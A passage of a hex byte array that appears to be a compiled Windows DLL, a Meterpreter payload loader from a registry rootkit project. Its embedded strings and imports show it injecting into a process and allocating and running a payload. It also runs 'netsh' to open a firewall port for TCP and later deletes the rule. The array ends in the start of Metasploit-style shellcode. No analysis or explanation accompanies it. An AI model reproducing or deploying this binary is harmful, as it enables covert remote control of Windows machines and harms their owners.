0x95,0xec,0xfe,0xff,0xff,0x52,0x68,0x40,0x21,0x00,0x10,0x6a,0x21,0x68,0x64,0x21,
0x00,0x10,0xe8,0x19,0x03,0x00,0x00,0x83,0xc4,0x10,0x6a,0x40,0x68,0x00,0x30,0x00,
0x00,0x68,0x2b,0x01,0x00,0x00,0x6a,0x00,0xff,0x15,0x18,0x20,0x00,0x10,0x89,0x45,
0xfc,0x83,0x7d,0xfc,0x00,0x0f,0x84,0xa1,0x00,0x00,0x00,0x8b,0x45,0xfc,0x50,0x68,
0x2b,0x01,0x00,0x00,0x68,0x74,0x21,0x00,0x10,0x6a,0x28,0x68,0xac,0x21,0x00,0x10,
0xe8,0xdb,0x02,0x00,0x00,0x83,0xc4,0x14,0xb9,0x4a,0x00,0x00,0x00,0xbe,0x00,0x30,
0x00,0x10,0x8b,0x7d,0xfc,0xf3,0xa5,0x66,0xa5,0xa4,0x6a,0x00,0x6a,0x00,0x8b,0x4d,
0xfc,0x51,0x68,0x00,0x10,0x00,0x10,0x6a,0x00,0x6a,0x00,0xff,0x15,0x14,0x20,0x00,
0x10,0x89,0x85,0xe4,0xfe,0xff,0xff,0x83,0xbd,0xe4,0xfe,0xff,0xff,0x00,0x74,0x1e,
0x6a,0xff,0x8b,0x95,0xe4,0xfe,0xff,0xff,0x52,0xff,0x15,0x10,0x20,0x00,0x10,0x8b,
0x85,0xe4,0xfe,0xff,0xff,0x50,0xff,0x15,0x0c,0x20,0x00,0x10,0xeb,0x1b,0xff,0x15,
0x08,0x20,0x00,0x10,0x50,0x68,0xbc,0x21,0x00,0x10,0x6a,0x38,0x68,0xd8,0x21,0x00,
0x10,0xe8,0x6a,0x02,0x00,0x00,0x83,0xc4,0x10,0x68,0x00,0x80,0x00,0x00,0x6a,0x00,
0x8b,0x4d,0xfc,0x51,0xff,0x15,0x30,0x20,0x00,0x10,0xeb,0x1b,0xff,0x15,0x08,0x20,
0x00,0x10,0x50,0x68,0xe8,0x21,0x00,0x10,0x6a,0x3f,0x68,0x04,0x22,0x00,0x10,0xe8,
0x3c,0x02,0x00,0x00,0x83,0xc4,0x10,0x68,0x14,0x22,0x00,0x10,0x6a,0x43,0x68,0x40,
0x22,0x00,0x10,0xe8,0x28,0x02,0x00,0x00,0x83,0xc4,0x0c,0x6a,0x00,0x68,0x50,0x22,
0x00,0x10,0xff,0x15,0x1c,0x20,0x00,0x10,0x89,0x85,0xec,0xfe,0xff,0xff,0x8b,0x95,
0xec,0xfe,0xff,0xff,0x52,0x68,0x90,0x22,0x00,0x10,0x6a,0x45,0x68,0xb4,0x22,0x00,
0x10,0xe8,0xfa,0x01,0x00,0x00,0x83,0xc4,0x10,0x68,0xc4,0x22,0x00,0x10,0x6a,0x47,
0x68,0xd8,0x22,0x00,0x10,0xe8,0xe6,0x01,0x00,0x00,0x83,0xc4,0x0c,0xff,0xb5,0xe8,
0xfe,0xff,0xff,0x68,0x00,0x80,0x00,0x00,0x6a,0x00,0xff,0x75,0x08,0xff,0x35,0x5c,
0x20,0x00,0x10,0xa1,0x30,0x20,0x00,0x10,0xff,0xe0,0x8b,0x85,0xe8,0xfe,0xff,0xff,
0x5f,0x5e,0x8b,0xe5,0x5d,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x56,0x8b,0x74,0x24,0x08,0x57,0x8b,0x7c,0x24,0x14,0x33,0xc0,0x85,0xff,0x76,0x08,
0x88,0x04,0x30,0x40,0x3b,0xc7,0x72,0xf8,0x33,0xc0,0x85,0xff,0x76,0x13,0x8a,0x4c,
0x24,0x10,0x8a,0x14,0x30,0x32,0xd0,0x02,0xd1,0x88,0x14,0x30,0x40,0x3b,0xc7,0x72,
0xf1,0x5f,0x5e,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x8b,0x44,0x24,0x08,0x81,0xec,0x10,0x02,0x00,0x00,0x83,0xe8,0x01,0x0f,0x85,0xe4,
0x00,0x00,0x00,0x56,0x57,0x68,0x04,0x01,0x00,0x00,0x8d,0x84,0x24,0x18,0x01,0x00,
0x00,0x50,0x6a,0x00,0xc7,0x44,0x24,0x18,0x04,0x01,0x00,0x00,0xff,0x15,0x58,0x20,
0x00,0x10,0x50,0xff,0x15,0x2c,0x20,0x00,0x10,0x8d,0x4c,0x24,0x0c,0x51,0x8d,0x54,
0x24,0x14,0x52,0xff,0x15,0x00,0x20,0x00,0x10,0x8d,0x44,0x24,0x10,0x50,0xff,0x15,
0x20,0x20,0x00,0x10,0x50,0x8d,0x8c,0x24,0x1c,0x01,0x00,0x00,0x51,0x68,0xe8,0x22,
0x00,0x10,0x6a,0x7e,0x68,0x28,0x23,0x00,0x10,0xe8,0x02,0x01,0x00,0x00,0x8b,0xbc,
0x24,0x34,0x02,0x00,0x00,0x8b,0x77,0x3c,0x83,0xc4,0x18,0x8d,0x54,0x24,0x08,0x52,
0x03,0xf7,0xc7,0x44,0x24,0x0c,0x00,0x00,0x00,0x00,0x8b,0x46,0x54,0x6a,0x04,0x50,
0x57,0xff,0x15,0x28,0x20,0x00,0x10,0x85,0xc0,0x74,0x0f,0x8b,0x4e,0x54,0x51,0x6a,
0x00,0x57,0xe8,0x19,0xff,0xff,0xff,0x83,0xc4,0x0c,0x6a,0x00,0x6a,0x00,0x57,0x68,
0x10,0x10,0x00,0x10,0x6a,0x00,0x6a,0x00,0xff,0x15,0x14,0x20,0x00,0x10,0x5f,0x5e,
0x85,0xc0,0x74,0x15,0x50,0xff,0x15,0x0c,0x20,0x00,0x10,0xb8,0x01,0x00,0x00,0x00,
0x81,0xc4,0x10,0x02,0x00,0x00,0xc2,0x0c,0x00,0xff,0x15,0x08,0x20,0x00,0x10,0x50,
0x68,0x38,0x23,0x00,0x10,0x68,0x94,0x00,0x00,0x00,0x68,0x54,0x23,0x00,0x10,0xe8,
0x7c,0x00,0x00,0x00,0x83,0xc4,0x10,0xb8,0x01,0x00,0x00,0x00,0x81,0xc4,0x10,0x02,
0x00,0x00,0xc2,0x0c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x6a,0x40,0x68,0x64,0x23,0x00,0x10,0x68,0x6c,0x23,0x00,0x10,0x6a,0x00,0xff,0x15,
0x68,0x20,0x00,0x10,0x6a,0x00,0xff,0x15,0x34,0x20,0x00,0x10,0xcc,0xcc,0xcc,0xcc,
0x53,0x8b,0x1d,0x38,0x20,0x00,0x10,0x55,0x56,0x57,0x8b,0x7c,0x24,0x14,0x57,0x8b,
0xef,0x33,0xf6,0xff,0xd3,0x85,0xc0,0x7e,0x1e,0x8d,0xa4,0x24,0x00,0x00,0x00,0x00,
0x8a,0x04,0x3e,0x3c,0x5c,0x74,0x04,0x3c,0x2f,0x75,0x04,0x8d,0x6c,0x3e,0x01,0x57,
0x46,0xff,0xd3,0x3b,0xf0,0x7c,0xe9,0x5f,0x5e,0x8b,0xc5,0x5d,0x5b,0xc3,0xcc,0xcc,
0x51,0x56,0x8b,0x35,0x54,0x20,0x00,0x10,0x57,0x68,0x7c,0x23,0x00,0x10,0x68,0x84,
0x23,0x00,0x10,0xff,0xd6,0x8b,0x3d,0x50,0x20,0x00,0x10,0x50,0xff,0xd7,0x89,0x44,
0x24,0x08,0x85,0xc0,0x0f,0x84,0xf1,0x00,0x00,0x00,0x55,0x68,0x90,0x23,0x00,0x10,
0x68,0x9c,0x23,0x00,0x10,0xff,0xd6,0x50,0xff,0xd7,0x8b,0xe8,0x85,0xed,0x0f,0x84,
0xd6,0x00,0x00,0x00,0x68,0xa8,0x23,0x00,0x10,0x68,0xb4,0x23,0x00,0x10,0xff,0xd6,
0x50,0xff,0xd7,0x85,0xc0,0x0f,0x84,0xbf,0x00,0x00,0x00,0x8b,0x54,0x24,0x1c,0x53,
0x8d,0x4c,0x24,0x24,0x51,0x52,0xff,0xd0,0x8b,0x1d,0x4c,0x20,0x00,0x10,0x8b,0xf8,
0x83,0xc4,0x08,0x81,0xc7,0x00,0x01,0x00,0x00,0x57,0x6a,0x00,0xff,0xd3,0x8b,0xf0,
0x85,0xf6,0x0f,0x84,0x91,0x00,0x00,0x00,0x57,0x6a,0x00,0xff,0xd3,0x8b,0xf8,0x85,
0xff,0x75,0x0d,0x56,0xff,0x15,0x48,0x20,0x00,0x10,0x5b,0x5d,0x5f,0x5e,0x59,0xc3,
0x8b,0x4c,0x24,0x20,0x8d,0x44,0x24,0x24,0x50,0x51,0x56,0xff,0xd5,0x8b,0x54,0x24,
0x28,0x8b,0x44,0x24,0x24,0x83,0xc4,0x0c,0x56,0x52,0x50,0xe8,0x00,0xff,0xff,0xff,
0x83,0xc4,0x04,0x50,0xff,0x15,0x20,0x20,0x00,0x10,0x50,0x68,0xc0,0x23,0x00,0x10,
0x57,0xff,0x54,0x24,0x28,0x83,0xc4,0x18,0x57,0xff,0x15,0x44,0x20,0x00,0x10,0x6a,
0xf5,0xff,0x15,0x40,0x20,0x00,0x10,0x8b,0xd8,0x83,0xfb,0xff,0x74,0x1f,0x6a,0x00,
0x8d,0x4c,0x24,0x14,0x51,0x56,0xc7,0x44,0x24,0x1c,0x00,0x00,0x00,0x00,0xff,0x15,
0x38,0x20,0x00,0x10,0x50,0x56,0x53,0xff,0x15,0x3c,0x20,0x00,0x10,0x57,0x8b,0x3d,
0x48,0x20,0x00,0x10,0xff,0xd7,0x56,0xff,0xd7,0x5b,0x5d,0x5f,0x5e,0x59,0xc3,0xcc,
0xff,0x25,0x5c,0x20,0x00,0x10,0xff,0x25,0x30,0x20,0x00,0x10,0xff,0x25,0x08,0x20,
0x00,0x10,0xff,0x25,0x0c,0x20,0x00,0x10,0xff,0x25,0x10,0x20,0x00,0x10,0xff,0x25,
0x14,0x20,0x00,0x10,0xff,0x25,0x18,0x20,0x00,0x10,0xff,0x25,0x1c,0x20,0x00,0x10,
0xff,0x25,0x20,0x20,0x00,0x10,0xff,0x25,0x24,0x20,0x00,0x10,0xff,0x25,0x28,0x20,
0x00,0x10,0xff,0x25,0x2c,0x20,0x00,0x10,0xff,0x25,0x58,0x20,0x00,0x10,0xff,0x25,
0x34,0x20,0x00,0x10,0xff,0x25,0x38,0x20,0x00,0x10,0xff,0x25,0x3c,0x20,0x00,0x10,
0xff,0x25,0x40,0x20,0x00,0x10,0xff,0x25,0x44,0x20,0x00,0x10,0xff,0x25,0x48,0x20,
0x00,0x10,0xff,0x25,0x4c,0x20,0x00,0x10,0xff,0x25,0x50,0x20,0x00,0x10,0xff,0x25,
0x54,0x20,0x00,0x10,0xff,0x25,0x64,0x20,0x00,0x10,0xff,0x25,0x68,0x20,0x00,0x10,
0xff,0x25,0x00,0x20,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x36,0x26,0x00,0x00,0x00,0x00,0x00,0x00,0xb4,0x24,0x00,0x00,0xc4,0x24,0x00,0x00,
0xd2,0x24,0x00,0x00,0xe8,0x24,0x00,0x00,0xf8,0x24,0x00,0x00,0x08,0x25,0x00,0x00,
0x12,0x25,0x00,0x00,0x28,0x25,0x00,0x00,0x3e,0x25,0x00,0x00,0x50,0x25,0x00,0x00,
0xa6,0x24,0x00,0x00,0x7a,0x25,0x00,0x00,0x88,0x25,0x00,0x00,0x94,0x25,0x00,0x00,
0xa0,0x25,0x00,0x00,0xb0,0x25,0x00,0x00,0xc6,0x25,0x00,0x00,0xd2,0x25,0x00,0x00,
0xe0,0x25,0x00,0x00,0xf2,0x25,0x00,0x00,0x66,0x25,0x00,0x00,0x98,0x24,0x00,0x00,
0x00,0x00,0x00,0x00,0x10,0x26,0x00,0x00,0x1c,0x26,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x80,0x01,0xe4,0x50,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,
0x61,0x00,0x00,0x00,0xb0,0x26,0x00,0x00,0xb0,0x10,0x00,0x00,0x4d,0x61,0x69,0x6e,
0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,0x3a,0x20,0x54,0x68,0x72,0x65,0x61,0x64,
0x20,0x25,0x78,0x3a,0x25,0x78,0x20,0x73,0x74,0x61,0x72,0x74,0x65,0x64,0x0a,0x00,
0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,0x6e,0x2e,0x63,0x70,0x70,0x00,0x00,0x00,
0x4d,0x61,0x69,0x6e,0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,0x3a,0x20,0x41,0x64,
0x64,0x69,0x6e,0x67,0x20,0x66,0x69,0x72,0x65,0x77,0x61,0x6c,0x6c,0x20,0x72,0x75,
0x6c,0x65,0x20,0x66,0x6f,0x72,0x20,0x54,0x43,0x50,0x20,0x70,0x6f,0x72,0x74,0x20,
0x25,0x64,0x2e,0x2e,0x2e,0x0a,0x00,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,
0x6e,0x2e,0x63,0x70,0x70,0x00,0x00,0x00,0x63,0x6d,0x64,0x2e,0x65,0x78,0x65,0x20,
0x2f,0x43,0x20,0x6e,0x65,0x74,0x73,0x68,0x20,0x66,0x69,0x72,0x65,0x77,0x61,0x6c,
0x6c,0x20,0x61,0x64,0x64,0x20,0x70,0x6f,0x72,0x74,0x6f,0x70,0x65,0x6e,0x69,0x6e,
0x67,0x20,0x54,0x43,0x50,0x20,0x25,0x64,0x20,0x53,0x79,0x73,0x74,0x65,0x6d,0x00,
0x4d,0x61,0x69,0x6e,0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,0x3a,0x20,0x44,0x6f,
0x6e,0x65,0x20,0x28,0x65,0x78,0x69,0x74,0x20,0x63,0x6f,0x64,0x65,0x3a,0x20,0x25,
0x64,0x29,0x0a,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,0x6e,0x2e,0x63,0x70,
0x70,0x00,0x00,0x00,0x4d,0x61,0x69,0x6e,0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,
0x3a,0x20,0x41,0x6c,0x6c,0x6f,0x63,0x61,0x74,0x65,0x64,0x20,0x25,0x64,0x20,0x62,
0x79,0x74,0x65,0x73,0x20,0x66,0x6f,0x72,0x20,0x70,0x61,0x79,0x6c,0x6f,0x61,0x64,
0x20,0x61,0x74,0x20,0x30,0x78,0x25,0x78,0x0a,0x00,0x00,0x00,0x2e,0x5c,0x64,0x6c,
0x6c,0x6d,0x61,0x69,0x6e,0x2e,0x63,0x70,0x70,0x00,0x00,0x00,0x43,0x72,0x65,0x61,
0x74,0x65,0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,0x20,0x45,0x52,0x52,0x4f,0x52,
0x20,0x25,0x64,0x0a,0x00,0x00,0x00,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,
0x6e,0x2e,0x63,0x70,0x70,0x00,0x00,0x00,0x56,0x69,0x72,0x74,0x75,0x61,0x6c,0x41,
0x6c,0x6c,0x6f,0x63,0x28,0x29,0x20,0x45,0x52,0x52,0x4f,0x52,0x20,0x25,0x64,0x0a,
0x00,0x00,0x00,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,0x6e,0x2e,0x63,0x70,
0x70,0x00,0x00,0x00,0x4d,0x61,0x69,0x6e,0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,
0x3a,0x20,0x44,0x65,0x6c,0x65,0x74,0x69,0x6e,0x67,0x20,0x66,0x69,0x72,0x65,0x77,
0x61,0x6c,0x6c,0x20,0x72,0x75,0x6c,0x65,0x2e,0x2e,0x2e,0x0a,0x00,0x00,0x00,0x00,
0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,0x6e,0x2e,0x63,0x70,0x70,0x00,0x00,0x00,
0x63,0x6d,0x64,0x2e,0x65,0x78,0x65,0x20,0x2f,0x43,0x20,0x6e,0x65,0x74,0x73,0x68,
0x20,0x61,0x64,0x76,0x66,0x69,0x72,0x65,0x77,0x61,0x6c,0x6c,0x20,0x66,0x69,0x72,
0x65,0x77,0x61,0x6c,0x6c,0x20,0x64,0x65,0x6c,0x65,0x74,0x65,0x20,0x72,0x75,0x6c,
0x65,0x20,0x6e,0x61,0x6d,0x65,0x3d,0x53,0x79,0x73,0x74,0x65,0x6d,0x00,0x00,0x00,
0x4d,0x61,0x69,0x6e,0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,0x3a,0x20,0x44,0x6f,
0x6e,0x65,0x20,0x28,0x65,0x78,0x69,0x74,0x20,0x63,0x6f,0x64,0x65,0x3a,0x20,0x25,
0x64,0x29,0x0a,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,0x6e,0x2e,0x63,0x70,
0x70,0x00,0x00,0x00,0x4d,0x61,0x69,0x6e,0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,
0x3a,0x20,0x45,0x58,0x49,0x54,0x0a,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,
0x6e,0x2e,0x63,0x70,0x70,0x00,0x00,0x00,0x44,0x6c,0x6c,0x4d,0x61,0x69,0x6e,0x28,
0x29,0x3a,0x20,0x49,0x6e,0x6a,0x65,0x63,0x74,0x65,0x64,0x20,0x69,0x6e,0x74,0x6f,
0x20,0x70,0x72,0x6f,0x63,0x65,0x73,0x73,0x20,0x22,0x25,0x73,0x22,0x20,0x28,0x50,
0x49,0x44,0x3d,0x25,0x64,0x29,0x2c,0x20,0x55,0x73,0x65,0x72,0x20,0x3d,0x20,0x22,
0x25,0x73,0x22,0x0a,0x00,0x00,0x00,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,
0x6e,0x2e,0x63,0x70,0x70,0x00,0x00,0x00,0x43,0x72,0x65,0x61,0x74,0x65,0x54,0x68,
0x72,0x65,0x61,0x64,0x28,0x29,0x20,0x45,0x52,0x52,0x4f,0x52,0x20,0x25,0x64,0x0a,
0x00,0x00,0x00,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,0x6e,0x2e,0x63,0x70,
0x70,0x00,0x00,0x00,0x44,0x75,0x6d,0x6d,0x79,0x28,0x29,0x00,0x3c,0x4f,0x4b,0x3e,
0x20,0x74,0x6f,0x20,0x65,0x78,0x69,0x74,0x2e,0x2e,0x2e,0x00,0x73,0x70,0x72,0x69,
0x6e,0x74,0x66,0x00,0x6d,0x73,0x76,0x63,0x72,0x74,0x2e,0x64,0x6c,0x6c,0x00,0x00,
0x76,0x73,0x70,0x72,0x69,0x6e,0x74,0x66,0x00,0x00,0x00,0x00,0x6d,0x73,0x76,0x63,
0x72,0x74,0x2e,0x64,0x6c,0x6c,0x00,0x00,0x5f,0x76,0x73,0x63,0x70,0x72,0x69,0x6e,
0x74,0x66,0x00,0x00,0x6d,0x73,0x76,0x63,0x72,0x74,0x2e,0x64,0x6c,0x6c,0x00,0x00,
0x5b,0x25,0x2e,0x35,0x64,0x5d,0x20,0x2e,0x5c,0x25,0x73,0x28,0x25,0x64,0x29,0x20,
0x3a,0x20,0x25,0x73,0x00,0x00,0x00,0x00,0x30,0x24,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x02,0x26,0x00,0x00,0x08,0x20,0x00,0x00,0x8c,0x24,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2a,0x26,0x00,0x00,0x64,0x20,0x00,0x00,
0x28,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x26,0x00,0x00,
0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x36,0x26,0x00,0x00,0x00,0x00,0x00,0x00,
0xb4,0x24,0x00,0x00,0xc4,0x24,0x00,0x00,0xd2,0x24,0x00,0x00,0xe8,0x24,0x00,0x00,
0xf8,0x24,0x00,0x00,0x08,0x25,0x00,0x00,0x12,0x25,0x00,0x00,0x28,0x25,0x00,0x00,
0x3e,0x25,0x00,0x00,0x50,0x25,0x00,0x00,0xa6,0x24,0x00,0x00,0x7a,0x25,0x00,0x00,
0x88,0x25,0x00,0x00,0x94,0x25,0x00,0x00,0xa0,0x25,0x00,0x00,0xb0,0x25,0x00,0x00,
0xc6,0x25,0x00,0x00,0xd2,0x25,0x00,0x00,0xe0,0x25,0x00,0x00,0xf2,0x25,0x00,0x00,
0x66,0x25,0x00,0x00,0x98,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x26,0x00,0x00,
0x1c,0x26,0x00,0x00,0x00,0x00,0x00,0x00,0x05,0x01,0x45,0x78,0x69,0x74,0x54,0x68,
0x72,0x65,0x61,0x64,0x00,0x00,0x57,0x04,0x56,0x69,0x72,0x74,0x75,0x61,0x6c,0x46,
0x72,0x65,0x65,0x00,0xe6,0x01,0x47,0x65,0x74,0x4c,0x61,0x73,0x74,0x45,0x72,0x72,
0x6f,0x72,0x00,0x00,0x43,0x00,0x43,0x6c,0x6f,0x73,0x65,0x48,0x61,0x6e,0x64,0x6c,
0x65,0x00,0x64,0x04,0x57,0x61,0x69,0x74,0x46,0x6f,0x72,0x53,0x69,0x6e,0x67,0x6c,
0x65,0x4f,0x62,0x6a,0x65,0x63,0x74,0x00,0xa3,0x00,0x43,0x72,0x65,0x61,0x74,0x65,
0x54,0x68,0x72,0x65,0x61,0x64,0x00,0x00,0x54,0x04,0x56,0x69,0x72,0x74,0x75,0x61,
0x6c,0x41,0x6c,0x6c,0x6f,0x63,0x00,0x00,0x7b,0x04,0x57,0x69,0x6e,0x45,0x78,0x65,
0x63,0x00,0xaa,0x01,0x47,0x65,0x74,0x43,0x75,0x72,0x72,0x65,0x6e,0x74,0x50,0x72,
0x6f,0x63,0x65,0x73,0x73,0x49,0x64,0x00,0xad,0x01,0x47,0x65,0x74,0x43,0x75,0x72,
0x72,0x65,0x6e,0x74,0x54,0x68,0x72,0x65,0x61,0x64,0x49,0x64,0x00,0x00,0x5a,0x04,
0x56,0x69,0x72,0x74,0x75,0x61,0x6c,0x50,0x72,0x6f,0x74,0x65,0x63,0x74,0x00,0x00,
0xf4,0x01,0x47,0x65,0x74,0x4d,0x6f,0x64,0x75,0x6c,0x65,0x46,0x69,0x6c,0x65,0x4e,
0x61,0x6d,0x65,0x41,0x00,0x00,0xf6,0x01,0x47,0x65,0x74,0x4d,0x6f,0x64,0x75,0x6c,
0x65,0x48,0x61,0x6e,0x64,0x6c,0x65,0x41,0x00,0x00,0x04,0x01,0x45,0x78,0x69,0x74,
0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x00,0xb5,0x04,0x6c,0x73,0x74,0x72,0x6c,0x65,
0x6e,0x41,0x00,0x00,0x8d,0x04,0x57,0x72,0x69,0x74,0x65,0x46,0x69,0x6c,0x65,0x00,
0x3b,0x02,0x47,0x65,0x74,0x53,0x74,0x64,0x48,0x61,0x6e,0x64,0x6c,0x65,0x00,0x00,
0x3a,0x03,0x4f,0x75,0x74,0x70,0x75,0x74,0x44,0x65,0x62,0x75,0x67,0x53,0x74,0x72,
0x69,0x6e,0x67,0x41,0x00,0x00,0xfd,0x02,0x4c,0x6f,0x63,0x61,0x6c,0x46,0x72,0x65,
0x65,0x00,0xf9,0x02,0x4c,0x6f,0x63,0x61,0x6c,0x41,0x6c,0x6c,0x6f,0x63,0x00,0x00,
0x20,0x02,0x47,0x65,0x74,0x50,0x72,0x6f,0x63,0x41,0x64,0x64,0x72,0x65,0x73,0x73,
0x00,0x00,0xf1,0x02,0x4c,0x6f,0x61,0x64,0x4c,0x69,0x62,0x72,0x61,0x72,0x79,0x41,
0x00,0x00,0x4b,0x45,0x52,0x4e,0x45,0x4c,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00,0x00,
0x07,0x03,0x77,0x73,0x70,0x72,0x69,0x6e,0x74,0x66,0x41,0x00,0xf8,0x01,0x4d,0x65,
0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x41,0x00,0x55,0x53,0x45,0x52,0x33,0x32,
0x2e,0x64,0x6c,0x6c,0x00,0x00,0x5e,0x01,0x47,0x65,0x74,0x55,0x73,0x65,0x72,0x4e,
0x61,0x6d,0x65,0x41,0x00,0x00,0x41,0x44,0x56,0x41,0x50,0x49,0x33,0x32,0x2e,0x64,
0x6c,0x6c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x80,0x01,0xe4,0x50,0x00,0x00,0x00,0x00,0x92,0x26,0x00,0x00,
0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x88,0x26,0x00,0x00,
0x8c,0x26,0x00,0x00,0x90,0x26,0x00,0x00,0x60,0x13,0x00,0x00,0xa8,0x26,0x00,0x00,
0x00,0x00,0x6d,0x65,0x74,0x65,0x72,0x70,0x72,0x65,0x74,0x65,0x72,0x5f,0x64,0x65,
0x62,0x75,0x67,0x2e,0x64,0x6c,0x6c,0x00,0x44,0x75,0x6d,0x6d,0x79,0x00,0x00,0x00,
0x52,0x53,0x44,0x53,0x82,0x5a,0x19,0x91,0x44,0xdc,0xaa,0x48,0x8a,0xc8,0x7d,0xac,
0xf1,0xd6,0xba,0x09,0x01,0x00,0x00,0x00,0x58,0x3a,0x5c,0x64,0x65,0x76,0x5c,0x5f,
0x65,0x78,0x70,0x6c,0x6f,0x69,0x74,0x73,0x5c,0x5f,0x4c,0x6f,0x63,0x61,0x6c,0x5c,
0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x52,0x65,0x67,0x69,0x73,0x74,0x72,0x79,0x52,
0x6f,0x6f,0x74,0x6b,0x69,0x74,0x5c,0x73,0x72,0x63,0x5c,0x6d,0x65,0x74,0x65,0x72,
0x70,0x72,0x65,0x74,0x65,0x72,0x5f,0x64,0x65,0x62,0x75,0x67,0x2e,0x70,0x64,0x62,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
